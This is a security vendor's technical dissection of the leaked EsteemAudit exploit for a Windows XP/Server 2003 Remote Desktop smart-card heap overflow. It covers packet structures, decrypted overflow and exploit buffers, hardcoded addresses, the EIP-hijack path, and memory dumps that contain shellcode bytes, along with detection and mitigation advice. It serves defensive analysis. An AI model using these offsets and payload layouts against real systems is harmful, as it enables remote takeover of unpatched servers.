A Dissection of the “EsteemAudit” Windows Remote Desktop Exploit

Share on FacebookTweet about this on TwitterShare on LinkedInShare on RedditShare on Google+Share on TumblrPin on PinterestDigg this

In April, a group known as the “Shadow Brokers” released a cache of stolen information that included multiple tools to exploit vulnerabilities in various versions of Microsoft Windows. The most famous of these is an exploit tool called “EternalBlue” which was repurposed to spread the WanaCrypt0r ransomware/worm earlier this month. Another tool released in this dump is “EsteemAudit”, which exploits CVE-2017-9073, a vulnerability in the Windows Remote Desktop system on Windows XP and Windows Server 2003. Both versions of this operating system are no longer supported by Microsoft (XP ended in 2014, Server 2003 in 2015) and as such Microsoft has not released a patch for the vulnerability.

Organizations that still rely on these out-of-date operating systems need to ensure they are defending against exploitation of this vulnerability, as it allows a remote attacker to take control over the system without any authentication.

Palo Alto Networks defends our customers’ systems from this exploit in the following ways:

  • Traps prevents exploitation of this vulnerability on Windows XP and Server 2003 hosts.
  • Threat Prevention Signature 32533 released in Content Update 692 detects the exploit in the NGFW.

Organizations that cannot upgrade systems and do not use the protections describe above should consider disabling the smart card module through Group Policy or in the registry.

Exploitation of the vulnerability is complex, but the EsteemAudit tool makes it possible for novices to use it. The remainder of this blog includes a detailed analysis of where the vulnerability exists and how EsteemAudit exploits it.

EsteemAudit Overview

This RDP remote exploit named EsteemAudit uses an inter-chunk heap overflow in an internal structure (named key_set with a size of 0x24a8) on the system heap allocated by gpkcsp.dll, which is a component of Windows Smart Card. In detail, there is 0x80 sized buffer (named key_data) in the key_set structure to store smart card information, after which there are two key_object pointers in adjacent memory. However, there is a call to memcpy in gpkcsp! MyCPAcquireContext with no boundary check, copying the entire user-controlled sized data to the location of 0x80 sized key_data. If the attacker puts more than 0x80 sized data as the source argument of memcpy, the key_object pointer adjacent with key_data will be overflowed. To exploit this, the EsteemAudit code puts the 0xb2-7 size controlled data as the source argument of memcpy, and overflowed key_object pointer with a fixed address 0x080190dc, which is an address of data section of gpkcsp.dll. After triggering the memcpy path to complete the overflow, the exploiter puts user-controlled data in that global variable at a fixed address 0x080190d8 in data section, and then triggers gpkcsp!ReleaseProvider to release the C++ object key_object (call [vtable+8]) to get control over EIP. Finally, the SharedUserData technique is used to call VirtualProtect by syscall with number 0x8f and the first stage shellcode is executed.


Remote RDP exploits are the stuff of legend. Fortunately, no public remote exploit for Windows RDP has been available since the NT4/Win98 era. In April 2017, a group using the name “The Shadowbrokers” released an RDP exploit named EsteemAudit which attacks the remote desktop service on Windows 2003 and Windows XP by using an inter-chunk heap overflow in the Smart Card component gpkscp.dll. In this blog, we will first describe some of the internals of remote desktop protocol and mechanism, and then analyze the EsteemAudit.exe itself. Next we will analyze the details about how to deal with the RDP data in kernel and user land, how the inter-chunk heap overflow occurs, and how to exploit this inter-chunk heap overflow to execute shellcode on the vulnerable system. Finally, we will introduce the possible detection methods and how to mitigate this vulnerability without a patch.

Mechanism and Protocol

The full details of how the Remote Desktop Protocol operates are out of scope for this blog, but in this section we’ll describe the components which are relevant to this exploit.

Architecture and Components

The Terminal Services Architecture has four parts: multi-user kernel, the Remote Desktop client, the Terminal Services Licensing service, and Session Directory Services.


Figure 1 Terminal Services Architecture Diagram – (Used with permission from Microsoft)

The following table describes the Terminal Services architecture components.


Figure 2 Terminal Services Architecture Components – From Microsoft

Nicolas Collignon describes the relationships between these components in his paper named Tunneling TCP over RDP.

In the kernel-land, the relevant component is rdpwd.sys, which is responsible for MCS (Multipoint Communication Service) stack. The RDP PDU (Protocol Data Unit) are parsed and decrypted in this component.

In user-land, the winlogon component is most relevant. It is responsible for authentication of remote client. For example, if the client request a smart card redirection, the winlogon.exe will launch smart card component and communicate with the client.

RDP Protocol

With the architecture and components of remote desktop service introduced, we can dive into the components of the Remote Desktop Protocol that are relevant to the vulnerability exploited by EsteemAudit. There are several RDP documents in MSDN documentation page which are relevant to this analysis. Some of them describe the basic protocol like, [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting. Others describe extensions for RDP, like [MS-RDPESC]: Remote Desktop Protocol: Smart Card Virtual Channel Extension. Aurélien Bordes listed all of the extensions at a talk at the OSSIR conference in 2010.

For the purposes of this analysis, we will consider the following components:

  • [MS-RDPBCGR] – Remote Desktop Protocol: Basic Connectivity and Graphics Remoting
  • [MS-RDPESC] – Remote Desktop Protocol: Smart Card Virtual Channel Extension
  • [MS-RDPEFS] – Remote Desktop Protocol: File System Virtual Channel Extension
  • [MS-RPCE] – Remote Procedure Call Protocol Extensions.

MS-RDPBCGR is based on the ITU (International Telecommunication Union) T.120 series of protocols. The T.120 standard is composed of multiple other standards, and uses the X.224 standard for transport layer communications. The X.224 standard specified how RDP packets should be encrypted and we can see this in “request PDU” and “confirm PDU” requests.

The encryptionMethods flag in X.224 request in the example below is set to 0x00000012, which represents the client requesting the 128-bit RC4 encryption [128BIT_ENCRYPTION_FLAG 0x00000002] or FIPS[FIPS_ENCRYPTION_FLAG 0x00000010].


Figure 3 X.224 Request PDU Specifying Encryption Methods

The server responds by confirming the encryptionMethod is 0x00000002 (128-bit RC4) in an X.224 confirm PDU message.


Figure 4 X.224 Confirm PDU message Confirming Encryption Method (128-bit RC4)

To keep this blog from going outside the scope of the vulnerability we will not explain the remaining steps in the protocol connection process, but the details are available in in [MS-RDPBCGR] – Remote Desktop Protocol: Basic Connectivity and Graphics Remoting.

After the RDP connection is created, the PDU between client and server will be encrypted with the negotiated encryption method (for example: 128-bit RC4). Below is an example of Client Info PDU.


Figure 5 RDP Client Info PDU

The data included in this PDU is parsed out into the following components:

64 00 04 03 eb 70 81 56 -> PER encoded (ALIGNED variant of BASIC-PER) SendDataRequestinitiator = 1005 (0x03ed)

channelId = 1003 (0x03eb)

dataPriority = high

segmentation = begin | end

userData length = 0x156 = 342 bytes


48 00 -> TS_SECURITY_HEADER::flags = 0x0048 0x0048 (SEC_INFO_PKT | SEC_ENCRYPT


00 00 -> TS_SECURITY_HEADER::flagsHi – ignored as flags field does not contain SEC_FLAGSHI_VALID (0x8000)

6f 6d 0c d5 b7 0c 5d 7e -> TS_SECURITY_HEADER1::dataSignature

The remaining data from the offset 0x51 to the end which begins with 86 b8 8a a9 is Encrypted TS_INFO_PACKET.

len0178d254  0000014a                             J…



038e3c8b  a98ab886 dabad90d d9d8f9e3 8dd5bafa  …………….

038e3c9b  1407ea51 883cb6af 21ca2bdb cab1e030  Q…..<..+.!0…

038e3cab  d6aaeccd 1c599171 1be8c40d 96d651dc  ….q.Y……Q..

038e3cbb  2d018a22 242aac0d 7b58948f 4be28b23  “..-..*$..X{#..K

038e3ccb  36cf54c6 52b70939 4064362b 9e37e989  .T.69..R+6d@..7.

038e3cdb  9ff09b06 4f862c80 1546198a ac9b03ed  …..,.O..F…..

038e3ceb  420acbdf 566591c1 7f471159 0e1d6906  …B..eVY.G..i..

038e3cfb  906474f4 476ea91e 4db2edd2 fb464bfd  .td…nG…M.KF.



038e3c8b  00000000 00000133 001a0000 00000000  ….3………..

038e3c9b  00000000 00640061 0069006d 0069006e  ….a.d.m.i.n.i.

038e3cab  00740073 00610072 006f0074 00000072  s.t.r.a.t.o.r…

038e3cbb  00000000 00020000 0031001c 00320039  ……….1.9.2.

038e3ccb  0031002e 00380036 0032002e 00320034  ..1.6.8…2.4.2.

038e3cdb  0031002e 003c0000 003a0043 0057005c  ..1…<.C.:.\.W.

038e3ceb  004e0049 0054004e 0053005c 00730079  I.N.N.T.\.S.y.s.

038e3cfb  00650074 0033006d 005c0032 0073006d  t.e.m.3.2.\.m.s.

We can parse the protocol details from plain TS_INFO_PACKET according the format described in [MS-RDPBCGR].


Figure 6 Info Packet Structure from MS-RDPBCGR

Smart Card Extension

RDP has an extension which supports remote client login using a smart card. From [MS-RDPESC], we can find the protocol sequence and details of protocol flow.


Figure 7 High Level Protocol Sequence Diagram from MS-RDPESC


Figure 8 Protocol Flow Diagram from MS-RDPESC

EsteemAudit uses the type of SCARD_IOCTL_TRANSMIT to communicate with the smart card module on the server.


Figure 9 SCARD_IOCTL_TRANSMIT description from MS-RDPESC

As the specification states, the packet returned to a client by the server has a type of Transmit_Return. The specification describes the various fields this packet includes.


Figure 10: Transmit_Return description from MS-RDPESC

The packet sent from server to server has a type of Transmit_Call.


Figure 11 Transmit_Call description from MS-RDPESC

RDP Exploit Client (EsteemAudit.exe)

After understanding the basic knowledge of architecture, components, protocol and communications of RDP, we can look specifically at what the EsteemAudit.exe exploit client does. EsteemAudit.exe is responsible for communicating with the RDP server just like an RDP Client according the RDP protocol. It emulates an RDP client using a smart card, and sends a smart card redirection authentication request to RDP server to force it to handle the data and structure sent by EsteemAudit using the smart card module gpkcsp.dll where the vulnerability exists.

EsteemAudit.exe Overview

After reverse engineering the EsteemAudit binary, we found the exploit-start function named GoRunExp at the address .text:00381009. We will not show the entire function for brevity, and only introduce the main execution flow here.

GoRunExpà InitializeInputParameters //get the config information

à connect2Target





à RecvProcessSendPackets

à RdpLib_SendKeyStrokes // Sending Space Bar

à RecvProcessSendPackets

à buildExpBuffer





ààà//set auth code, xor mask, open payload dll, etc

ààà build_egg1_payloadxxx

à RdpLib_SendKeyStrokes // Sending Enter key

à RecvProcessSendPackets

à RecvProcessSendPackets

àà//send smart card authentication redirection request, receive and process the according response, communicate with the server, in the last phase send the ExpBuffer(including overflow buffer, exploit and egg0 buffer) to the server to control the EIP, at last send the end response to server to end the first stage.

àà//to be mentioned, CallBackFunction registered in connect2Target will be called to process the response and prints logs like “SELECT_FILE – GPK Card MF”, “GET_RESPONSE – data unit size”, “GET_RESPONSE – serial number”.

We found that after the preparation work including connect2Target and building the exploit buffer, RecvProcessSendPackets is called repeatedly to receive and process the data from the server and send the buffer previously prepared back to it. RecvProcessSendPackets is responsible for all the details of communicating with smart card modules on the RDP server, which we discuss in an upcoming section. However, we will not introduce the details of this function, but focus on what packets RecvProcessSendPackets sends to exploit the vulnerability.

Overflow Packet

When building the overflow packet, there are only two effective fields: a value at the 0x8d offset and a constant 0x9000 at the 0x91 offset, all other fields are random data.


Figure 12 build_overflow_x86 function assembling the exploit packet.

To see the complete data sent by client, we can inspect one of the overflow packets.


Figure 13 Overflow Packet dissected in Wireshark

As described below, after the offset 0x51, the data named TS_INFO_DATA is encrypted. To decrypt the TS_INFO_DATA, we noticed that all of data are encrypted by client with the Libeay32!RC4 function.

We can get the prototype of the RC4 function — RC4(key, len, in, out) by simply debugging it.


Figure 14 Libeay32!RC4 disassembly.

We can then set a breakpoint before and after the RC4 function execution to print the in and out buffers retrieve the encrypted data and decrypted data.

bu image00380000+0xab24 “.echo len;dc esp+10 L1;.echo rc4_in_buffer;dc poi(esp+8);gc”bu image00380000+0xab39 “.echo rc4_out_buffer;dc poi(esp+0c);gc”

The decrypted buffer gives us the content of the TS_INFO_DATA of the overflow packet.

len0178cf98  000000fc                             ….



038e8d6b  0649efba dcb9b66b f63f676c a2ddcc3b  ..I.k…lg?.;…

038e8d7b  56e1fb2e c9ed4e9c bf566979 4d9e3868  …V.N..yiV.h8.M

038e8d8b  5dffb177 af4531e2 cd87df84 18a3afff  w..].1E………

038e8d9b  56c96e10 7dd116d9 f1db47e2 b65bba04  .n.V…}.G….[.

038e8dab  5d8892ca 324864cb 70bc4793 82be0c5b  …].dH2.G.p[…

038e8dbb  d5737937 512ce129 21738638 ca18a61a  7ys.).,Q8.s!….

038e8dcb  58a5f061 fe8af8db f6c40f83 a975c925  a..X……..%.u.

038e8ddb  7da42561 8e0a740f b10381b2 ef4f3c00  a%.}.t…….<O.


038e8d6b  000000f4 00000003 49434472 00000000  ……..rDCI….

038e8d7b  00000001 00000000 000000e0 00081001  …………….

038e8d8b  cccccccc 000000c0 00000000 00000000  …………….

038e8d9b  00000000 000000b2 00000001 000000b2  …………….

038e8dab  fce3940b f2c3bad3 7134f185 b595ac48  ……….4qH…

038e8dbb  2d8186ec 56e66ee1 ca0e854f e618d890  …-.n.VO…….

038e8dcb  fcf78fcf 6972d722 8a3307d7 e1715046  ….”.ri..3.FPq.

038e8ddb  6d3184f2 7eb82735 0c1d6f4b e6a262fe  ..1m5′.~Ko…b..



Protocol details [references: [MS-RDPESC].pdf, [MS-RDPEFS].pdf, [MS-RPCE].pdf]

000000f4 ->CodePage

00000003 ->Flags

Device Control Response (DR_CONTROL_RSP)

->DeviceIoReply (16 bytes): DR_DEVICE_IOCOMPLETION

4472 ->RDPDR_CTYP_CORE 0x4472


00000000 ->DeviceId (4 bytes)

00000001 ->CompletionId (4 bytes)

00000000 ->IoStatus (4 bytes)

000000e0 ->OutputBufferLength (4 bytes)

->OutputBuffer (variable)

00081001 cccccccc Type Serialization Version 1 header

000000c0 ->ObjectBufferLength (4 bytes)

00000000 ->Filler (4 bytes)

00000000 ->ReturnCode

00000000 ->dwProtocol

000000b2 ->cbRecvLength


00000001 000000b2

fce3940b f2c3bad3 7134f185 b595ac48

2d8186ec 56e66ee1 ca0e854f e618d890

fcf78fcf 6972d722 8a3307d7 e1715046

6d3184f2 7eb82735 0c1d6f4b e6a262fe


As the execution continues, we can extract the two fields from the memory dump which will trigger the buffer overflow.

The address 0x080190dc is important to note, we will introduce how it is involved in the exploit in the RDP Server section below.

Exploit Packet Analysis

When building the exploit buffer, there are many interesting fields used in the buffer, like 0x11111111, 0x22222222 and 0x7ffe0300.


Figure 15 The build_exploit_x86 function assmploying the exploit buffer.


Figure 16 The exploit buffer in a live pcap.

We can extract the data for the exploit buffer the same way we did for the overflow buffer.

encrypted038e9d83  0d76b81e 51331ed0 b3b4b29d ba4a1aaa  ..v…3Q……J.

038e9d93  ad0b26e1 c15daa1e 20079871 a18afe91  .&….].q.. ….

038e9da3  46d26828 a8883de7 8b54718e 33ebf243  (h.F.=…qT.C..3

038e9db3  9d3d556b f8a4f6f8 4a29500c 5d06bd19  kU=……P)J…]

038e9dc3  e6099604 4bc7dc66 92103b5e 6da27faa  ….f..K^;…..m

038e9dd3  07420e27 c95b5664 79d50284 f7bbd1d3  ‘.B.dV[….y….

038e9de3  79c389e1 f795e1cf bcb35b4d 69d0ef0c  …y….M[…..i

038e9df3  92beeadf 9010b061 763848d5 bc032358  ….a….H8vX#..



038e9d83  00000204 00000003 49434472 00000000  ……..rDCI….

038e9d93  00000001 00000000 000001f0 00081001  …………….

038e9da3  cccccccc 000001d0 00000000 00000000  …………….

038e9db3  00000000 000001c0 00000001 000001c0  …………….

038e9dc3  ada0d86e 08011e7a 0801118e 08005e85  n…z……..^..

038e9dd3  0800bedd 11111111 2a6bd248 972dc73e  ……..H.k*>.-.

038e9de3  00000000 6431e6f0 08011fef 08019078  ……1d….x…

038e9df3  abc45491 22222222 00000000 316f482f  .T..””””…./Ho1

The exploit buffer packet is also a Device Control Response (DR_CONTROL_RSP) with the kind set to DR_DEVICE_IOCOMPLETION (0x49434472). This is the same as the overflow buffer described earlier.

The final two packets of the first stage are the Select_MF and End Response messages, respectively. We only show the decrypted data here.

len0178cf98  0000004c                             L…



038ead9b  00000044 00000003 49434472 00000000  D…….rDCI….

038eadab  00000001 00000000 00000030 00081001  ……..0…….

038eadbb  cccccccc 00000010 00000000 00000000  …………….

038eadcb  00000000 00000002 00000001 00000002  …………….

038eaddb  00000090 00000000 00000000



The length of pExtraBytes is two. Two two extra bytes “90 00” will be processed by smart card module on the Server.

The length of pExtraBytes is 0, it is just an end response. This completes the traffic from EsteemAudit, next we’ll go into how the server processes this data.

RDP Server

With the details on what the client send to the server and the protocol in the encrypted packet out of the way, we can start looking at how the server processes the packet and where the vulnerability is exploited.

Kernel Layer

As described in the Architecture and Component section, we know that the kernel component is responsible for receiving the RDP data. We need to identify the data entry point function that handles the RAW data sent from the client to the server.

Look at the two stack traces below. It directly shows the execution flows when a DEVICE_IO packet arrives. Termdd is the core dispatcher, RDPWD is responsible for MCS stack ad we can get the raw data sent by client from RDPWD!MCSIcaRawInput. The next several functions parsed data layer by layer according to the RDP protocol described earlier.

kd> k# ChildEBP RetAddr

00 baf3b32c f6e134ef rdpdr!DrExchangeManager::RecognizePacket+0x8

01 baf3b350 f6e12e34 rdpdr!DrSession::ReadCompletion+0x95

02 baf3b368 8081d741 rdpdr!DrSession::ReadCompletionRoutine+0x38

03 baf3b398 f76895d8 nt!IopfCompleteRequest+0xcd

04 baf3b3d4 f768a0d2 termdd!IcaChannelInputInternal+0x1f0

05 baf3b3fc ba1a26e1 termdd!IcaChannelInput+0x3c

06 baf3b430 ba19c3c1 RDPWD!WDW_OnDataReceived+0x181

07 baf3b458 ba19c1b9 RDPWD!SM_MCSSendDataCallback+0x159

08 baf3b4c0 ba19bfe0 RDPWD!HandleAllSendDataPDUs+0x155

09 baf3b4dc ba1b9ba4 RDPWD!RecognizeMCSFrame+0x32

0a baf3b504 ba19b06b RDPWD!MCSIcaRawInputWorker+0x346

0b baf3b52c f768d194 RDPWD!MCSIcaRawInput+0x65

0c baf3b550 baa92fcb termdd!IcaRawInput+0x58

0d baf3bd90 f768c265 TDTCP!TdInputThread+0x371

0e baf3bdac 809418f4 termdd!_IcaDriverThread+0x4d

0f baf3bddc 80887f4a nt!PspSystemThreadStartup+0x2e

10 00000000 00000000 nt!KiThreadStartup+0x16


kd> k

# ChildEBP RetAddr

00 f5a8b254 f6e14f22 rdpdr!RxLowIoCompletion+0x3a

01 f5a8b260 f6e15291 rdpdr!DrDevice::CompleteRxContext+0x2a

02 f5a8b284 f6e158b0 rdpdr!DrDevice::CompleteBusyExchange+0x4d

03 f5a8b2cc f6e164b2 rdpdr!DrDevice::OnDeviceControlCompletion+0x116

04 f5a8b2f0 f6e1269d rdpdr!DrDevice::OnDeviceIoCompletion+0x1ee

05 f5a8b310 f6e1285a rdpdr!DrExchangeManager::OnDeviceIoCompletion+0x55

06 f5a8b324 f6e1351f rdpdr!DrExchangeManager::HandlePacket+0x26

07 f5a8b350 f6e12e34 rdpdr!DrSession::ReadCompletion+0xc5

08 f5a8b368 8081d741 rdpdr!DrSession::ReadCompletionRoutine+0x38

09 f5a8b398 f76c95d8 nt!IopfCompleteRequest+0xcd

0a f5a8b3d4 f76ca0d2 termdd!IcaChannelInputInternal+0x1f0

0b f5a8b3fc f53856e1 termdd!IcaChannelInput+0x3c

0c f5a8b430 f537f3c1 RDPWD!WDW_OnDataReceived+0x181

0d f5a8b458 f537f1b9 RDPWD!SM_MCSSendDataCallback+0x159

0e f5a8b4c0 f537efe0 RDPWD!HandleAllSendDataPDUs+0x155

0f f5a8b4dc f539cba4 RDPWD!RecognizeMCSFrame+0x32

10 f5a8b504 f537e06b RDPWD!MCSIcaRawInputWorker+0x346

11 f5a8b52c f76cd194 RDPWD!MCSIcaRawInput+0x65

12 f5a8b550 f55b2fcb termdd!IcaRawInput+0x58

13 f5a8bd90 f76cc265 TDTCP!TdInputThread+0x371

14 f5a8bdac 809418f4 termdd!_IcaDriverThread+0x4d

15 f5a8bddc 80887f4a nt!PspSystemThreadStartup+0x2e

16 00000000 00000000 nt!KiThreadStartup+0x16

We can see the content of srcBuf through the comment from IDA pro when RDPWD!MCSIcaRawInputWorker call RDPWD!RecognizeMCSFrame.


Figure 17 Content of srcBuf

We can also see how RDPWD!RecognizeMCSFrame decodes PER.


Figure 18 RDPWD!RecognizeMCSFrame decodes PER-encoded MCS Domain PDU

After parsing the MCS stack, RDPWD will parse the TS_DATA_INFO part. The data in TS_DATA_INFO is encrypted so the SM_MCSSendDataCallback function calls SMDecryptPacket-> DecryptData->rc4 to decrypt the data first.


Figure 19 Decrypting the TS_DATA_INFO data

For those who want to recreated this, you can also set breakpoint in RDPWD!rc4 function which is a similar implementation with libeay32 like we did in the client to see encrypted and decrypted data on the server.

Next, the SM_MCSSendDataCallback function calls WDW_OnDataReceived will handle the decrypted data.


Figure 20 WDW_OnDataReceived Function Call

After this, the function calls termdd!IcaChannelInput to dispatch decrypted data to different channels. In this example, the buffer overflow packet sent by EsteemAudit is the Device IO packet which is a part of File System Virtual Channel Extension and will be parsed by RDPDR module.

We can find the DR_DEVICE_IOCOMPLETION [MS-RDPEFS.pdf] header in the decrypted buffer overflow packet.

000000f4 ->CodePage00000003 ->Flags

Device Control Response (DR_CONTROL_RSP)

->DeviceIoReply (16 bytes): DR_DEVICE_IOCOMPLETION

4472 ->RDPDR_CTYP_CORE 0x4472


In RDPDR module, we can see there is vtable call to recognize the packet and then handle the packet.


Figure 21 RDPDR Module Handling the packet

If the server receives a packet marked as RDPDR_HEADER, RecognizePacket with the appropriate class is called.


Figure 22 RecognizePacket called for RDPDR_HEADER

The buffer overflow and exploit packets sent by EsteemAudit have the 0x49434472 flag set. 0x4472 is used for the Device redirector core component and 0x4943 is used for Device I/O response.



Figure 23 Packet Type Flags from [MS-RDPESP]

After recognizing the packet type, rdpdr!DrSession::ReadCompletion calls HandlePacket to parse the packet. We can see OnDeviceControlCompletion will deal with the header.


Figure 24 Continued Parsing of the RDP Packet

After handling the packet, we can see rdpdr!DrDevice::CompleteRxContext be notified via I/O that we have processed the packet and we can exchange the context. Other modules are also notified and continue to process the left part of the packet, here is pbExtraBytes buffer.


Figure 25 CompleteRxContext Notified of the Processed Packet

User Land Layer

In user land, winlogon.exe calls the smart card modules, like gpkcsp, scredir, and winscard to communicate with the client.

First, we can investigate the stack trace below. It is a stack trace of copying the pbExtraBytes sent by the client from the kernel to the user land. We see the data sent by client flow into the user land on the server.

0:003> kChildEBP RetAddr

00fce058 5cd45619 scredir!_CopyReturnToCallerBuffer

00fce104 723642b0 scredir!SCardTransmit+0x194

00fce180 08005c32 WinSCard!SCardTransmit+0x76

00fce1b0 0800921d gpkcsp!DoSCardTransmit+0x3d

00fce41c 0800e2dd gpkcsp!WriteTimestamps+0x679

00fcf39c 08004acb gpkcsp!MyCPAcquireContext+0x817

00fcf708 77f50909 gpkcsp!CPAcquireContext+0x26e

00fcf7cc 77f50a5f ADVAPI32!CryptAcquireContextA+0x55f

00fcf834 0103fd78 ADVAPI32!CryptAcquireContextW+0xa4

00fcf864 0104086c winlogon!CSCLogonInit::CryptCtx+0x75

00fcf874 010408c1 winlogon!CSCLogonInit::RelinquishCryptCtx+0x10

00fcf898 0103a8f5 winlogon!ScHelperGetCertFromLogonInfo+0x22

00fcf8bc 77c50193 winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x3f

00fcf8e0 77cb33e1 RPCRT4!Invoke+0x30

00fcfce0 77cb35c4 RPCRT4!NdrStubCall2+0x299

00fcfcfc 77c4ff7a RPCRT4!NdrServerCall2+0x19

00fcfd30 77c7e732 RPCRT4!DispatchToStubInCNoAvrf+0x38

00fcfd48 77c5042d RPCRT4!DispatchToStubInCAvrf+0x14

00fcfd9c 77c50353 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x11f

00fcfdc0 77c511dc RPCRT4!RPC_INTERFACE::DispatchToStub+0xa3

00fcfdfc 77c512f0 RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x42c

00fcfe20 77c58678 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x127

00fcff84 77c58792 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x430

00fcff8c 77c5872d RPCRT4!RecvLotsaCallsWrapper+0xd

00fcffac 77c4b110 RPCRT4!BaseCachedThreadRoutine+0x9d

00fcffb8 7c824829 RPCRT4!ThreadStartRoutine+0x1b

WARNING: Stack unwind information not available. Following frames may be wrong.

00fcffec 00000000 kernel32!GetModuleHandleA+0xdf

The most important function in user land on the server is gpkcsp!MyCPAcquireContext. It is responsible for sending, receiving and processing smart card packets, and it corresponds to the RecvProcessSendPackets function of EsteemAudit.

Before we start introduce this function, let’s look at scredir!SCardTransmit. This function is called by gpkcsp!DoSCardTransmit and it is a basic unit for sending and receiving the smart card information.


Figure 26 scredir!SCardTransmit Function

We that the 1st argument to _SendSCardIOCTL, 0x900d0, represents SCARD_IOCTL_TRANSMIT, and the data structure of the send and receive buffer fallows _Transmit_Call and _Transmit_Return structure described earlier. After getting the data from the kernel, Transmit_Return_Decode will decode and process the data. Pay attention to scredir!_CopyReturnToCallerBuffer function, it will copy the data sent by client to a global variable 0x080190d8 in data section. This means that the data in buffer overflow packet and in exploit packet will be copied to the address 0x080190d8. That’s why an absolute address 0x080190dc is hardcoded in buffer overflow packet.




Figure 27 Data from the Overflow and Exploit Packets are copied to 0x080190d8.

Now we can introduce the gpkcsp!MyCPAcquireContext function and the whole exploit process. The details for SCardEstablishContext and ConnectToCard are not shown here, but we will introduce what happened when the data in buffer overflow packet arrived.


Figure 28 gpkcsp!MyCPAcquireContext Function

There is global variable named ProvCont which stores a 0x24a8 sized heap address.

0:003> dc gpkcsp!ProvCont (08176dd8)08176dd8  02cdcb58                             X…


0:003> !heap -p -a 0x2cdcb58

address 02cdcb58 found in

_DPH_HEAP_ROOT @ 3a1000

in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize –         VirtAddr         VirtSize)

3a3c80:          2cdcb58             24a8 –          2cdc000             4000

7c96d97a ntdll!RtlAllocateHeap+0x00000e9f

77b8d08c msvcrt!malloc+0x0000006c

08012599 gpkcsp!GMEM_Alloc+0x0000000e

0800a937 gpkcsp!DllMain+0x00000090

080120fc gpkcsp!_DllMainCRTStartup+0x00000052

7c94a352 ntdll!LdrpCallInitRoutine+0x00000014

7c963465 ntdll!LdrpRunInitializeRoutines+0x00000367

7c964311 ntdll!LdrpLoadDll+0x000003cd

7c964065 ntdll!LdrLoadDll+0x00000198

7c801bf3 kernel32!LoadLibraryExW+0x000001b2

7c801dbd kernel32!LoadLibraryExA+0x0000001f

7c801df3 kernel32!LoadLibraryA+0x000000b5

77f42fef ADVAPI32!CryptAcquireContextA+0x0000045c

77f50a5f ADVAPI32!CryptAcquireContextW+0x000000a4

0103fd78 winlogon!CSCLogonInit::CryptCtx+0x00000075

0104086c winlogon!CSCLogonInit::RelinquishCryptCtx+0x00000010

010408c1 winlogon!ScHelperGetCertFromLogonInfo+0x00000022

0103a8f5 winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x0000003f

77c50193 RPCRT4!Invoke+0x00000030

77cb33e1 RPCRT4!NdrStubCall2+0x00000299

77cb35c4 RPCRT4!NdrServerCall2+0x00000019

77c4ff7a RPCRT4!DispatchToStubInCNoAvrf+0x00000038

77c7e732 RPCRT4!DispatchToStubInCAvrf+0x00000014

77c5042d RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000011f

77c50353 RPCRT4!RPC_INTERFACE::DispatchToStub+0x000000a3

77c511dc RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x0000042c

77c512f0 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x00000127

77c58678 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x00000430

77c58792 RPCRT4!RecvLotsaCallsWrapper+0x0000000d

77c5872d RPCRT4!BaseCachedThreadRoutine+0x0000009d

77c4b110 RPCRT4!ThreadStartRoutine+0x0000001b

7c824829 kernel32!BaseThreadStart+0x00000034


Figure 29 below graphically shows the data structure of gpkcsp!ProvCont.


Figure 30 Graphical Depiction of the gpkcsp!ProvCont data structure.

After calling DoSCardTransmit to deal with buffer overflow packet and store the data in 0x080190d8, MyCPAcquireContext initialize the KeyData memory (0x80) and copies the data at 0x080190dd with the size in the data sent by client (0xb2-7) to the KeyData memory.


Figure 31 MyCPAcquireContext Initializes data structure and copies data, causing the overflow

Figure 32 below shows how memory is overwritten causing the heap overflow.


Figure 32 Graphical Depiction of the Heap Overflow

The debug log shows where KeyObject object overflows.

0:003> dc 02cdcb58+a0+b8-2002cdcc90  b7314210 544f2b0f 34059cf0 ead224e5  .B1..+OT…4.$..

02cdcca0  22ef2496 b2dcb268 9c36556f 159e7181  .$.”h…oU6..q..

02cdccb0  080190dc 00009000 70e2a252 b67b7cc7  ……..R..p.|{.

02cdccc0  62937b2c afe0bbbd 93606931 dcdba152  ,{.b….1i`.R…

02cdccd0  00cd84d1 00000000 00000000 00000000  …………….

02cdcce0  00000000 00000000 00000000 00000000  …………….

02cdccf0  00000000 00000000 00000000 00000000  …………….

02cdcd00  00000000 00000000 00000000 00000000  …………….

After KeyObject overflows, we can see how gpkcsp!MyCPAcquireContext deals with the next packets and how the EIP was controlled.


Figure 33 gpkcsp!MyCPAcquireContext handles the subsequent packets

We note that the unsymbolized function sub_8009094 calls DoSCardTransmit and copies expbuffer to 0x080x90d8, which is an always fix address to store any data sent by client without ASLR (Address Space Layout Randomization) on Windows Server 2003.

0:003> dc 080190d8 L1c0/4080190d8  d26ccf61 08011e7a 0801118e 08005e85  a.l.z……..^..

080190e8  0800bedd 11111111 9d273fbe e636c0ea  ………?’…6.

080190f8  00000000 b02838fd 08011fef 08019078  …..8(…..x…

08019108  3005123c 22222222 00000000 f7a1d915  <..0″”””……..

08019118  00004000 080128cc 0000008f 7ffe0300  .@…(……….

08019128  08015074 08019148 08019118 ffffffff  tP..H………..

08019138  08019130 08019118 00000040 08019130  0…….@…0…

08019148  8b6404b0 06002d00 c4890000 00e8c689  ..d..-……….

08019158  90000000 d5858b5d 89000000 858b0446  ….]…….F…

08019168  000000d9 310c4689 104689c0 8b144689  …..F.1..F..F..

08019178  0000dd85 8b008b00 0000bc80 18468900  …………..F.

08019188  00e1858b 008b0000 8b1c4689 0000e585  ………F……

08019198  89008b00 468b2046 2846890c 4689c031  ….F .F..F(1..F

080191a8  00b5e82c c0850000 468b6675 0846892c  ,…….uf.F,.F.

080191b8  2b0c468b 89501046 468b50e0 10460308  .F.+F.P..P.F..F.

080191c8  50c03150 ff1476ff 76ff0476 1876ff20  P1.P.v..v..v .v.

080191d8  591c56ff 8b144689 c8011046 8b104689  .V.Y.F..F….F..

080191e8  46890846 10468b24 00d9853b c07c0000  F..F$.F.;…..|.

080191f8  4689c031 244e8b10 0189c889 0471ff51  1..F..N$….Q.q.

